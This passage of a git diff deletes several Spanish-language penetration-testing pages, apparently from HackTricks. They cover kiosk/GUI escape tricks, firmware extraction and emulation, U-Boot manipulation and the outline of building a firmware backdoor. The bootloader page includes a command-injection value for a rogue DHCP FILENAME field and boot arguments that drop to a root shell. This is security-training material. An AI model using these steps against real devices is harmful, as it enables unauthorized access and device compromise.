Los desarrolladores pueden olvidar deshabilitar varias opciones de depuración en el entorno de producción. Por ejemplo, el método HTTP `TRACE` está diseñado para fines de diagnóstico. Si está habilitado, el servidor web responderá a las solicitudes que utilicen el método `TRACE` replicando en la respuesta la solicitud exacta que se recibió. Este comportamiento a menudo es inofensivo, pero ocasionalmente conduce a la divulgación de información, como el nombre de los encabezados de autenticación internos que pueden ser añadidos a las solicitudes por proxies inversos.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png)
{{#include ./banners/hacktricks-training.md}}
### Scripting de mismo sitio
Ocurre cuando encontramos un dominio o subdominio que se resuelve a localhost o 127.0.0.1 debido a ciertas configuraciones incorrectas de DNS. Permite a un atacante eludir las restricciones de mismo origen del RFC2109 (Mecanismo de gestión de estado HTTP) y, por lo tanto, secuestrar datos de gestión de estado. También puede permitir scripting entre sitios. Puedes leer más al respecto [aquí](https://seclists.org/bugtraq/2008/Jan/270)

9
src/pentesting-dns.md
View File

@ -1,9 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
**Investiga más sobre ataques a DNS**
**DNSSEC y DNSSEC3**
**DNS en IPv6**
{{#include ./banners/hacktricks-training.md}}

276
src/physical-attacks/escaping-from-gui-applications/README.md
View File

@ -1,276 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Verificar posibles acciones dentro de la aplicación GUI
**Diálogos Comunes** son aquellas opciones de **guardar un archivo**, **abrir un archivo**, seleccionar una fuente, un color... La mayoría de ellos **ofrecerán una funcionalidad completa de Explorador**. Esto significa que podrás acceder a las funcionalidades del Explorador si puedes acceder a estas opciones:
- Cerrar/Cerrar como
- Abrir/Abrir con
- Imprimir
- Exportar/Importar
- Buscar
- Escanear
Deberías verificar si puedes:
- Modificar o crear nuevos archivos
- Crear enlaces simbólicos
- Obtener acceso a áreas restringidas
- Ejecutar otras aplicaciones
## Ejecución de Comandos
Quizás **usando una opción `Abrir con`** puedas abrir/ejecutar algún tipo de shell.
### Windows
Por ejemplo _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ encuentra más binarios que se pueden usar para ejecutar comandos (y realizar acciones inesperadas) aquí: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
### \*NIX \_\_
_bash, sh, zsh..._ Más aquí: [https://gtfobins.github.io/](https://gtfobins.github.io)
# Windows
## Eludir restricciones de ruta
- **Variables de entorno**: Hay muchas variables de entorno que apuntan a alguna ruta
- **Otros protocolos**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
- **Enlaces simbólicos**
- **Accesos directos**: CTRL+N (abrir nueva sesión), CTRL+R (Ejecutar Comandos), CTRL+SHIFT+ESC (Administrador de tareas), Windows+E (abrir explorador), CTRL-B, CTRL-I (Favoritos), CTRL-H (Historial), CTRL-L, CTRL-O (Archivo/Abrir Diálogo), CTRL-P (Diálogo de Imprimir), CTRL-S (Guardar Como)
- Menú administrativo oculto: CTRL-ALT-F8, CTRL-ESC-F9
- **Shell URIs**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
- **Rutas UNC**: Rutas para conectarse a carpetas compartidas. Deberías intentar conectarte al C$ de la máquina local ("\\\127.0.0.1\c$\Windows\System32")
- **Más rutas UNC:**
| UNC | UNC | UNC |
| ------------------------- | -------------- | -------------------- |
| %ALLUSERSPROFILE% | %APPDATA% | %CommonProgramFiles% |
| %COMMONPROGRAMFILES(x86)% | %COMPUTERNAME% | %COMSPEC% |
| %HOMEDRIVE% | %HOMEPATH% | %LOCALAPPDATA% |
| %LOGONSERVER% | %PATH% | %PATHEXT% |
| %ProgramData% | %ProgramFiles% | %ProgramFiles(x86)% |
| %PROMPT% | %PSModulePath% | %Public% |
| %SYSTEMDRIVE% | %SYSTEMROOT% | %TEMP% |
| %TMP% | %USERDOMAIN% | %USERNAME% |
| %USERPROFILE% | %WINDIR% | |
## Descarga tus binarios
Consola: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
Explorador: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
Editor del registro: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
## Accediendo al sistema de archivos desde el navegador
| RUTA | RUTA | RUTA | RUTA |
| ------------------- | ----------------- | ------------------ | ------------------- |
| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows |
| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ |
| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ |
| C:/windows | C:/windows/ | C:/windows\\ | C:\windows |
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
## Atajos
- Teclas adhesivas – Presiona SHIFT 5 veces
- Teclas de mouse – SHIFT+ALT+NUMLOCK
- Alto contraste – SHIFT+ALT+PRINTSCN
- Teclas de alternancia – Mantén NUMLOCK durante 5 segundos
- Teclas de filtro – Mantén SHIFT derecho durante 12 segundos
- WINDOWS+F1 – Búsqueda de Windows
- WINDOWS+D – Mostrar escritorio
- WINDOWS+E – Lanzar el explorador de Windows
- WINDOWS+R – Ejecutar
- WINDOWS+U – Centro de accesibilidad
- WINDOWS+F – Buscar
- SHIFT+F10 – Menú contextual
- CTRL+SHIFT+ESC – Administrador de tareas
- CTRL+ALT+DEL – Pantalla de inicio en versiones más recientes de Windows
- F1 – Ayuda F3 – Buscar
- F6 – Barra de direcciones
- F11 – Alternar pantalla completa dentro de Internet Explorer
- CTRL+H – Historial de Internet Explorer
- CTRL+T – Internet Explorer – Nueva pestaña
- CTRL+N – Internet Explorer – Nueva página
- CTRL+O – Abrir archivo
- CTRL+S – Guardar CTRL+N – Nueva RDP / Citrix
## Deslizamientos
- Desliza desde el lado izquierdo hacia la derecha para ver todas las ventanas abiertas, minimizando la aplicación KIOSK y accediendo directamente a todo el sistema operativo;
- Desliza desde el lado derecho hacia la izquierda para abrir el Centro de Acción, minimizando la aplicación KIOSK y accediendo directamente a todo el sistema operativo;
- Desliza desde el borde superior para hacer visible la barra de título de una aplicación abierta en modo de pantalla completa;
- Desliza hacia arriba desde la parte inferior para mostrar la barra de tareas en una aplicación de pantalla completa.
## Trucos de Internet Explorer
### 'Barra de herramientas de imagen'
Es una barra de herramientas que aparece en la parte superior izquierda de la imagen cuando se hace clic. Podrás Guardar, Imprimir, Enviar por correo, Abrir "Mis Imágenes" en el Explorador. El Kiosk necesita estar usando Internet Explorer.
### Protocolo Shell
Escribe estas URLs para obtener una vista de Explorador:
- `shell:Administrative Tools`
- `shell:DocumentsLibrary`
- `shell:Libraries`
- `shell:UserProfiles`
- `shell:Personal`
- `shell:SearchHomeFolder`
- `shell:NetworkPlacesFolder`
- `shell:SendTo`
- `shell:UserProfiles`
- `shell:Common Administrative Tools`
- `shell:MyComputerFolder`
- `shell:InternetFolder`
- `Shell:Profile`
- `Shell:ProgramFiles`
- `Shell:System`
- `Shell:ControlPanelFolder`
- `Shell:Windows`
- `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Panel de Control
- `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Mi Computadora
- `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Mis Lugares de Red
- `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
## Mostrar extensiones de archivo
Consulta esta página para más información: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
# Trucos de navegadores
Versiones de respaldo de iKat:
[http://swin.es/k/](http://swin.es/k/)\
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\
Crea un diálogo común usando JavaScript y accede al explorador de archivos: `document.write('<input/type=file>')`
Fuente: https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
# iPad
## Gestos y botones
- Desliza hacia arriba con cuatro (o cinco) dedos / Doble toque en el botón de inicio: Para ver la vista de multitarea y cambiar de aplicación
- Desliza de un lado a otro con cuatro o cinco dedos: Para cambiar a la siguiente/última aplicación
- Pellizca la pantalla con cinco dedos / Toca el botón de inicio / Desliza hacia arriba con 1 dedo desde la parte inferior de la pantalla en un movimiento rápido hacia arriba: Para acceder a Inicio
- Desliza un dedo desde la parte inferior de la pantalla solo 1-2 pulgadas (lento): La base aparecerá
- Desliza hacia abajo desde la parte superior de la pantalla con 1 dedo: Para ver tus notificaciones
- Desliza hacia abajo con 1 dedo en la esquina superior derecha de la pantalla: Para ver el centro de control del iPad Pro
- Desliza 1 dedo desde la izquierda de la pantalla 1-2 pulgadas: Para ver la vista de Hoy
- Desliza rápido 1 dedo desde el centro de la pantalla hacia la derecha o hacia la izquierda: Para cambiar a la siguiente/última aplicación
- Presiona y mantén el botón de Encendido/**Apagar**/Reposo en la esquina superior derecha del **iPad +** Mueve el control deslizante de **apagar** todo el camino hacia la derecha: Para apagar
- Presiona el botón de Encendido/**Apagar**/Reposo en la esquina superior derecha del **iPad y el botón de inicio durante unos segundos**: Para forzar un apagado duro
- Presiona el botón de Encendido/**Apagar**/Reposo en la esquina superior derecha del **iPad y el botón de inicio rápidamente**: Para tomar una captura de pantalla que aparecerá en la parte inferior izquierda de la pantalla. Presiona ambos botones al mismo tiempo muy brevemente, ya que si los mantienes durante unos segundos se realizará un apagado duro.
## Atajos
Deberías tener un teclado de iPad o un adaptador de teclado USB. Solo se mostrarán los atajos que podrían ayudar a escapar de la aplicación.
| Tecla | Nombre |
| --- | ------------ |
| ⌘ | Comando |
| ⌥ | Opción (Alt) |
| ⇧ | Shift |
| ↩ | Retorno |
| ⇥ | Tab |
| ^ | Control |
| ← | Flecha Izquierda |
| → | Flecha Derecha |
| ↑ | Flecha Arriba |
| ↓ | Flecha Abajo |
### Atajos del sistema
Estos atajos son para la configuración visual y de sonido, dependiendo del uso del iPad.
| Atajo | Acción |
| -------- | ------------------------------------------------------------------------------ |
| F1 | Atenuar pantalla |
| F2 | Aumentar brillo |
| F7 | Retroceder una canción |
| F8 | Reproducir/pausar |
| F9 | Saltar canción |
| F10 | Silenciar |
| F11 | Disminuir volumen |
| F12 | Aumentar volumen |
| ⌘ Espacio | Mostrar una lista de idiomas disponibles; para elegir uno, toca la barra espaciadora nuevamente. |
### Navegación en iPad
| Atajo | Acción |
| -------------------------------------------------- | ------------------------------------------------------- |
| ⌘H | Ir a Inicio |
| ⌘⇧H (Comando-Shift-H) | Ir a Inicio |
| ⌘ (Espacio) | Abrir Spotlight |
| ⌘⇥ (Comando-Tab) | Listar las últimas diez aplicaciones usadas |
| ⌘\~ | Ir a la última aplicación |
| ⌘⇧3 (Comando-Shift-3) | Captura de pantalla (flota en la parte inferior izquierda para guardar o actuar sobre ella) |
| ⌘⇧4 | Captura de pantalla y ábrela en el editor |
| Presiona y mantén ⌘ | Lista de atajos disponibles para la aplicación |
| ⌘⌥D (Comando-Opción/Alt-D) | Muestra el dock |
| ^⌥H (Control-Opción-H) | Botón de inicio |
| ^⌥H H (Control-Opción-H-H) | Mostrar barra de multitarea |
| ^⌥I (Control-Opción-i) | Selector de ítems |
| Escape | Botón de retroceso |
| → (Flecha derecha) | Siguiente ítem |
| ← (Flecha izquierda) | Ítem anterior |
| ↑↓ (Flecha arriba, Flecha abajo) | Toca simultáneamente el ítem seleccionado |
| ⌥ ↓ (Flecha hacia abajo) | Desplazarse hacia abajo |
| ⌥↑ (Flecha hacia arriba) | Desplazarse hacia arriba |
| ⌥← o ⌥→ (Flecha izquierda o flecha derecha) | Desplazarse a la izquierda o a la derecha |
| ^⌥S (Control-Opción-S) | Activar o desactivar el habla de VoiceOver |
| ⌘⇧⇥ (Comando-Shift-Tab) | Cambiar a la aplicación anterior |
| ⌘⇥ (Comando-Tab) | Volver a la aplicación original |
| ←+→, luego Opción + ← o Opción+→ | Navegar a través del Dock |
### Atajos de Safari
| Atajo | Acción |
| ----------------------- | ------------------------------------------------ |
| ⌘L (Comando-L) | Abrir Ubicación |
| ⌘T | Abrir una nueva pestaña |
| ⌘W | Cerrar la pestaña actual |
| ⌘R | Actualizar la pestaña actual |
| ⌘. | Detener la carga de la pestaña actual |
| ^⇥ | Cambiar a la siguiente pestaña |
| ^⇧⇥ (Control-Shift-Tab) | Mover a la pestaña anterior |
| ⌘L | Seleccionar el campo de entrada de texto/URL para modificarlo |
| ⌘⇧T (Comando-Shift-T) | Abrir la última pestaña cerrada (se puede usar varias veces) |
| ⌘\[ | Retrocede una página en tu historial de navegación |
| ⌘] | Avanza una página en tu historial de navegación |
| ⌘⇧R | Activar Modo Lector |
### Atajos de Mail
| Atajo | Acción |
| -------------------------- | ---------------------------- |
| ⌘L | Abrir Ubicación |
| ⌘T | Abrir una nueva pestaña |
| ⌘W | Cerrar la pestaña actual |
| ⌘R | Actualizar la pestaña actual |
| ⌘. | Detener la carga de la pestaña |
| ⌘⌥F (Comando-Opción/Alt-F) | Buscar en tu bandeja de entrada |
# Referencias
- [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html)
- [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html)
- [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
- [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
{{#include ../../banners/hacktricks-training.md}}

240
src/physical-attacks/firmware-analysis/README.md
View File

@ -1,240 +0,0 @@
# Análisis de Firmware
{{#include ../../banners/hacktricks-training.md}}
## **Introducción**
El firmware es un software esencial que permite a los dispositivos operar correctamente al gestionar y facilitar la comunicación entre los componentes de hardware y el software con el que los usuarios interactúan. Se almacena en memoria permanente, asegurando que el dispositivo pueda acceder a instrucciones vitales desde el momento en que se enciende, lo que lleva al lanzamiento del sistema operativo. Examinar y potencialmente modificar el firmware es un paso crítico para identificar vulnerabilidades de seguridad.
## **Recolección de Información**
**Recolección de información** es un paso inicial crítico para entender la composición de un dispositivo y las tecnologías que utiliza. Este proceso implica recopilar datos sobre:
- La arquitectura de la CPU y el sistema operativo que ejecuta
- Especificaciones del bootloader
- Diseño de hardware y hojas de datos
- Métricas de la base de código y ubicaciones de origen
- Bibliotecas externas y tipos de licencia
- Historiales de actualizaciones y certificaciones regulatorias
- Diagramas arquitectónicos y de flujo
- Evaluaciones de seguridad y vulnerabilidades identificadas
Para este propósito, las herramientas de **inteligencia de código abierto (OSINT)** son invaluables, al igual que el análisis de cualquier componente de software de código abierto disponible a través de procesos de revisión manual y automatizada. Herramientas como [Coverity Scan](https://scan.coverity.com) y [LGTM de Semmle](https://lgtm.com/#explore) ofrecen análisis estático gratuito que se puede aprovechar para encontrar problemas potenciales.
## **Adquisición del Firmware**
Obtener firmware se puede abordar a través de varios medios, cada uno con su propio nivel de complejidad:
- **Directamente** de la fuente (desarrolladores, fabricantes)
- **Construyéndolo** a partir de instrucciones proporcionadas
- **Descargando** de sitios de soporte oficiales
- Utilizando consultas de **Google dork** para encontrar archivos de firmware alojados
- Accediendo a **almacenamiento en la nube** directamente, con herramientas como [S3Scanner](https://github.com/sa7mon/S3Scanner)
- Interceptando **actualizaciones** a través de técnicas de hombre en el medio
- **Extrayendo** del dispositivo a través de conexiones como **UART**, **JTAG** o **PICit**
- **Esnifando** solicitudes de actualización dentro de la comunicación del dispositivo
- Identificando y utilizando **puntos finales de actualización codificados**
- **Volcando** desde el bootloader o la red
- **Retirando y leyendo** el chip de almacenamiento, cuando todo lo demás falla, utilizando herramientas de hardware apropiadas
## Analizando el firmware
Ahora que **tienes el firmware**, necesitas extraer información sobre él para saber cómo tratarlo. Diferentes herramientas que puedes usar para eso:
```bash
file <bin>
strings -n8 <bin>
strings -tx <bin> #print offsets in hex
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
Si no encuentras mucho con esas herramientas, verifica la **entropía** de la imagen con `binwalk -E <bin>`, si la entropía es baja, entonces es poco probable que esté encriptada. Si la entropía es alta, es probable que esté encriptada (o comprimida de alguna manera).
Además, puedes usar estas herramientas para extraer **archivos incrustados dentro del firmware**:
{{#ref}}
../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
{{#endref}}
O [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) para inspeccionar el archivo.
### Obtener el Sistema de Archivos
Con las herramientas comentadas anteriormente como `binwalk -ev <bin>`, deberías haber podido **extraer el sistema de archivos**.\
Binwalk generalmente lo extrae dentro de una **carpeta nombrada como el tipo de sistema de archivos**, que generalmente es uno de los siguientes: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
#### Extracción Manual del Sistema de Archivos
A veces, binwalk **no tendrá el byte mágico del sistema de archivos en sus firmas**. En estos casos, usa binwalk para **encontrar el desplazamiento del sistema de archivos y tallar el sistema de archivos comprimido** del binario y **extraer manualmente** el sistema de archivos de acuerdo a su tipo utilizando los pasos a continuación.
```
$ binwalk DIR850L_REVB.bin
DECIMAL HEXADECIMAL DESCRIPTION
----------------------------------------------------------------------------- ---
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
```
Ejecuta el siguiente **comando dd** para extraer el sistema de archivos Squashfs.
```
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536+0 records in
8257536+0 records out
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
```
Alternativamente, también se podría ejecutar el siguiente comando.
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
- Para squashfs (utilizado en el ejemplo anterior)
`$ unsquashfs dir.squashfs`
Los archivos estarán en el directorio "`squashfs-root`" después.
- Archivos de archivo CPIO
`$ cpio -ivd --no-absolute-filenames -F <bin>`
- Para sistemas de archivos jffs2
`$ jefferson rootfsfile.jffs2`
- Para sistemas de archivos ubifs con NAND flash
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
`$ ubidump.py <bin>`
## Análisis de Firmware
Una vez que se obtiene el firmware, es esencial diseccionarlo para entender su estructura y posibles vulnerabilidades. Este proceso implica utilizar varias herramientas para analizar y extraer datos valiosos de la imagen del firmware.
### Herramientas de Análisis Inicial
Se proporciona un conjunto de comandos para la inspección inicial del archivo binario (denominado `<bin>`). Estos comandos ayudan a identificar tipos de archivos, extraer cadenas, analizar datos binarios y entender los detalles de partición y sistema de archivos:
```bash
file <bin>
strings -n8 <bin>
strings -tx <bin> #prints offsets in hexadecimal
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
```
Para evaluar el estado de cifrado de la imagen, se verifica la **entropía** con `binwalk -E <bin>`. Una baja entropía sugiere una falta de cifrado, mientras que una alta entropía indica posible cifrado o compresión.
Para extraer **archivos incrustados**, se recomiendan herramientas y recursos como la documentación de **file-data-carving-recovery-tools** y **binvis.io** para la inspección de archivos.
### Extracción del Sistema de Archivos
Usando `binwalk -ev <bin>`, generalmente se puede extraer el sistema de archivos, a menudo en un directorio nombrado según el tipo de sistema de archivos (por ejemplo, squashfs, ubifs). Sin embargo, cuando **binwalk** no puede reconocer el tipo de sistema de archivos debido a bytes mágicos faltantes, es necesaria la extracción manual. Esto implica usar `binwalk` para localizar el desplazamiento del sistema de archivos, seguido del comando `dd` para extraer el sistema de archivos:
```bash
$ binwalk DIR850L_REVB.bin
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
```
Después, dependiendo del tipo de sistema de archivos (por ejemplo, squashfs, cpio, jffs2, ubifs), se utilizan diferentes comandos para extraer manualmente el contenido.
### Análisis del Sistema de Archivos
Con el sistema de archivos extraído, comienza la búsqueda de fallos de seguridad. Se presta atención a demonios de red inseguros, credenciales codificadas, puntos finales de API, funcionalidades del servidor de actualizaciones, código no compilado, scripts de inicio y binarios compilados para análisis fuera de línea.
**Ubicaciones clave** y **elementos** a inspeccionar incluyen:
- **etc/shadow** y **etc/passwd** para credenciales de usuario
- Certificados y claves SSL en **etc/ssl**
- Archivos de configuración y scripts en busca de vulnerabilidades potenciales
- Binarios incrustados para un análisis más profundo
- Servidores web y binarios comunes de dispositivos IoT
Varias herramientas ayudan a descubrir información sensible y vulnerabilidades dentro del sistema de archivos:
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) y [**Firmwalker**](https://github.com/craigz28/firmwalker) para la búsqueda de información sensible
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) para un análisis completo de firmware
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) y [**EMBA**](https://github.com/e-m-b-a/emba) para análisis estático y dinámico
### Comprobaciones de Seguridad en Binarios Compilados
Tanto el código fuente como los binarios compilados encontrados en el sistema de archivos deben ser examinados en busca de vulnerabilidades. Herramientas como **checksec.sh** para binarios de Unix y **PESecurity** para binarios de Windows ayudan a identificar binarios no protegidos que podrían ser explotados.
## Emulando Firmware para Análisis Dinámico
El proceso de emular firmware permite un **análisis dinámico** ya sea del funcionamiento de un dispositivo o de un programa individual. Este enfoque puede encontrar desafíos con dependencias de hardware o arquitectura, pero transferir el sistema de archivos raíz o binarios específicos a un dispositivo con arquitectura y endianness coincidentes, como una Raspberry Pi, o a una máquina virtual preconstruida, puede facilitar pruebas adicionales.
### Emulando Binarios Individuales
Para examinar programas individuales, identificar el endianness y la arquitectura de CPU del programa es crucial.
#### Ejemplo con Arquitectura MIPS
Para emular un binario de arquitectura MIPS, se puede usar el comando:
```bash
file ./squashfs-root/bin/busybox
```
Y para instalar las herramientas de emulación necesarias:
```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
```
Para MIPS (big-endian), se utiliza `qemu-mips`, y para binarios little-endian, `qemu-mipsel` sería la elección.
#### Emulación de Arquitectura ARM
Para binarios ARM, el proceso es similar, utilizando el emulador `qemu-arm` para la emulación.
### Emulación de Sistema Completo
Herramientas como [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) y otras, facilitan la emulación completa de firmware, automatizando el proceso y ayudando en el análisis dinámico.
## Análisis Dinámico en Práctica
En esta etapa, se utiliza un entorno de dispositivo real o emulado para el análisis. Es esencial mantener acceso a la shell del sistema operativo y al sistema de archivos. La emulación puede no imitar perfectamente las interacciones de hardware, lo que requiere reinicios ocasionales de la emulación. El análisis debe revisar el sistema de archivos, explotar páginas web expuestas y servicios de red, y explorar vulnerabilidades del bootloader. Las pruebas de integridad del firmware son críticas para identificar posibles vulnerabilidades de puerta trasera.
## Técnicas de Análisis en Tiempo de Ejecución
El análisis en tiempo de ejecución implica interactuar con un proceso o binario en su entorno operativo, utilizando herramientas como gdb-multiarch, Frida y Ghidra para establecer puntos de interrupción e identificar vulnerabilidades a través de fuzzing y otras técnicas.
## Explotación Binaria y Prueba de Concepto
Desarrollar un PoC para vulnerabilidades identificadas requiere un profundo entendimiento de la arquitectura objetivo y programación en lenguajes de bajo nivel. Las protecciones de tiempo de ejecución en sistemas embebidos son raras, pero cuando están presentes, técnicas como Return Oriented Programming (ROP) pueden ser necesarias.
## Sistemas Operativos Preparados para Análisis de Firmware
Sistemas operativos como [AttifyOS](https://github.com/adi0x90/attifyos) y [EmbedOS](https://github.com/scriptingxss/EmbedOS) proporcionan entornos preconfigurados para pruebas de seguridad de firmware, equipados con las herramientas necesarias.
## Sistemas Operativos Preparados para Analizar Firmware
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS es una distribución destinada a ayudarte a realizar evaluaciones de seguridad y pruebas de penetración de dispositivos de Internet de las Cosas (IoT). Te ahorra mucho tiempo al proporcionar un entorno preconfigurado con todas las herramientas necesarias cargadas.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Sistema operativo de pruebas de seguridad embebido basado en Ubuntu 18.04 precargado con herramientas de pruebas de seguridad de firmware.
## Firmware Vulnerable para Practicar
Para practicar el descubrimiento de vulnerabilidades en firmware, utiliza los siguientes proyectos de firmware vulnerables como punto de partida.
- OWASP IoTGoat
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
- The Damn Vulnerable Router Firmware Project
- [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
- Damn Vulnerable ARM Router (DVAR)
- [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
- ARM-X
- [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads)
- Azeria Labs VM 2.0
- [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/)
- Damn Vulnerable IoT Device (DVID)
- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
## Referencias
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
## Entrenamiento y Certificación
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
{{#include ../../banners/hacktricks-training.md}}

52
src/physical-attacks/firmware-analysis/bootloader-testing.md
View File

@ -1,52 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
Los siguientes pasos se recomiendan para modificar las configuraciones de inicio del dispositivo y los bootloaders como U-boot:
1. **Acceder a la Shell del Intérprete del Bootloader**:
- Durante el arranque, presione "0", espacio u otros "códigos mágicos" identificados para acceder a la shell del intérprete del bootloader.
2. **Modificar los Argumentos de Arranque**:
- Ejecute los siguientes comandos para agregar '`init=/bin/sh`' a los argumentos de arranque, permitiendo la ejecución de un comando de shell:
%%%
#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
#saveenv
#boot
%%%
3. **Configurar el Servidor TFTP**:
- Configure un servidor TFTP para cargar imágenes a través de una red local:
%%%
#setenv ipaddr 192.168.2.2 #IP local del dispositivo
#setenv serverip 192.168.2.1 #IP del servidor TFTP
#saveenv
#reset
#ping 192.168.2.1 #verificar acceso a la red
#tftp ${loadaddr} uImage-3.6.35 #loadaddr toma la dirección para cargar el archivo y el nombre del archivo de la imagen en el servidor TFTP
%%%
4. **Utilizar `ubootwrite.py`**:
- Use `ubootwrite.py` para escribir la imagen de U-boot y cargar un firmware modificado para obtener acceso root.
5. **Verificar Características de Depuración**:
- Verifique si las características de depuración como el registro detallado, la carga de núcleos arbitrarios o el arranque desde fuentes no confiables están habilitadas.
6. **Interferencia de Hardware Cautelosa**:
- Tenga cuidado al conectar un pin a tierra e interactuar con chips SPI o NAND flash durante la secuencia de arranque del dispositivo, particularmente antes de que el núcleo se descomprima. Consulte la hoja de datos del chip NAND flash antes de hacer cortocircuito en los pines.
7. **Configurar un Servidor DHCP Malicioso**:
- Configure un servidor DHCP malicioso con parámetros dañinos para que un dispositivo los ingiera durante un arranque PXE. Utilice herramientas como el servidor auxiliar DHCP de Metasploit (MSF). Modifique el parámetro 'FILENAME' con comandos de inyección de comandos como `'a";/bin/sh;#'` para probar la validación de entrada en los procedimientos de inicio del dispositivo.
**Nota**: Los pasos que implican interacción física con los pines del dispositivo (\*marcados con asteriscos) deben abordarse con extrema precaución para evitar dañar el dispositivo.
## Referencias
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
{{#include ../../banners/hacktricks-training.md}}

35
src/physical-attacks/firmware-analysis/firmware-integrity.md
View File

@ -1,35 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
## Integridad del Firmware
El **firmware personalizado y/o binarios compilados pueden ser subidos para explotar fallos de verificación de integridad o firma**. Se pueden seguir los siguientes pasos para la compilación de un shell de puerta trasera:
1. El firmware puede ser extraído usando firmware-mod-kit (FMK).
2. Se debe identificar la arquitectura del firmware objetivo y el endianness.
3. Se puede construir un compilador cruzado usando Buildroot u otros métodos adecuados para el entorno.
4. La puerta trasera puede ser construida usando el compilador cruzado.
